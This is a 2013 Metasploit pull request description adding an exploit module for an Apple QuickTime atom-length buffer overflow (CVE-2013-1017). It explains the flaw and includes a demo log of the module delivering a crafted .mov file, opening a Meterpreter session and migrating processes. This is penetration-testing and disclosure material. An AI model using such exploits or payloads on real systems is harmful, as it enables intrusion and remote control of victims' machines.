rapid7/metasploit-framework — pull request #2113 by wchen-r7 (2013-07-17 18:47:32+00:00)
Title: Add CVE-2013-1017: Apple Quicktime Invalid Atom Length BoF

This module exploits a vulnerability found in Apple Quicktime. The flaw is triggered when Quicktime fails to properly handle the data length for certain atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer overflow by loading a specially crafted .mov file, and allows arbitrary code execution under the context of the user.

Demo:

msf exploit(apple_quicktime_rdrf) > [*] 10.6.0.142 apple_quicktime_rdrf - Requesting: /SQptaJ7L8U9I
[*] 10.6.0.142 apple_quicktime_rdrf - Target selected as: IE 8 on Windows XP SP3
[*] 10.6.0.142 apple_quicktime_rdrf - Requesting: /SQptaJ7L8U9I/nKPJ.mov
[*] 10.6.0.142 apple_quicktime_rdrf - Sending specially crafted .mov file
[*] 10.6.0.142 apple_quicktime_rdrf - Requesting: /SQptaJ7L8U9I/nKPJ.mov
[*] 10.6.0.142 apple_quicktime_rdrf - Target selected as: IE 8 on Windows XP SP3
[*] 10.6.0.142 apple_quicktime_rdrf - Sending specially crafted .mov file
[*] Sending stage (751104 bytes) to 10.6.0.142
[*] Meterpreter session 1 opened (10.6.0.142:4444 -> 10.6.0.142:54197) at 2013-07-17 13:44:21 -0500
[*] Session ID 1 (10.6.0.142:4444 -> 10.6.0.142:54197) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2156)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2496
[+] Successfully migrated to process